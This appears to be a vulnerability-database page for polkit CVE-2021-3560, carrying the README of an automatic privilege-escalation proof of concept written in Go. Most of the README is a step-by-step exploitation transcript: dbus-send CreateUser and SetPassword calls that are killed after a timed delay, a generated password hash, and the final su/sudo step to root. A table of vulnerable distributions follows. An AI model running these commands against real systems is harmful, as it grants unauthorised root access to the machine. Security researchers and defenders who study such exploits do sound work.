关联漏洞
标题：
polkit 代码问题漏洞
(CVE-2021-3560)
描述：polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 存在代码问题漏洞，该漏洞源于当请求进程在调用polkit_system_bus_name_get_creds_sync之前断开与dbus-daemon的连接时，该进程无法获得进程的唯一uid和pid，也无法验证请求进程的特权。
描述
Automatic Explotation PoC for Polkit CVE-2021-3560
介绍
# polkit-auto-exploit
Automatic Explotation PoC for Polkit CVE-2021-3560
# Summary
CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
# Usage
```
ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)
[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs
```
# Tested
- Ubuntu 20.04(policykit-1/focal,now 0.105-26ubuntu1)
# Information
Any system that has polkit version 0.113 (or later) installed is vulnerable. That includes popular distributions such as RHEL 8 with polkit version `0.115` and Ubuntu 20.04 with polkit version `0-105-26` (Debian fork of polkit)
# Vulnerable Distro
<table>
<tbody>
<tr>
<th>Distribution</th>
<th>Vulnerable?</th>
</tr>
<tr>
<td>RHEL 7</td>
<td>No</td>
</tr>
<tr>
<td>RHEL 8</td>
<td>
<a
href="https://access.redhat.com/security/cve/CVE-2021-3560"
rel="noopener"
target="_blank"
>Yes</a
>
</td>
</tr>
<tr>
<td>Fedora 20 (or earlier)</td>
<td>No</td>
</tr>
<tr>
<td>Fedora 21 (or later)</td>
<td>
<a
href="https://bugzilla.redhat.com/show_bug.cgi?id=1967424"
rel="noopener"
target="_blank"
>Yes</a
>
</td>
</tr>
<tr>
<td>Debian 10 (“buster”)</td>
<td>No</td>
</tr>
<tr>
<td>Debian testing (“bullseye”)</td>
<td>
<a
href="https://security-tracker.debian.org/tracker/CVE-2021-3560"
rel="noopener"
target="_blank"
>Yes</a
>
</td>
</tr>
<tr>
<td>Ubuntu 18.04</td>
<td>No</td>
</tr>
<tr>
<td>Ubuntu 20.04</td>
<td>
<a
href="https://ubuntu.com/security/CVE-2021-3560"
rel="noopener"
target="_blank"
>Yes</a
>
</td>
</tr>
</tbody>
</table>
# License
MIT License
文件快照
[4.0K] /data/pocs/31b8dae7d0946e2dc6420c36f6bcac477118485e
├── [ 36] go.mod
├── [1.0K] LICENSE
├── [4.3K] main.go
└── [3.6K] README.md
0 directories, 4 files
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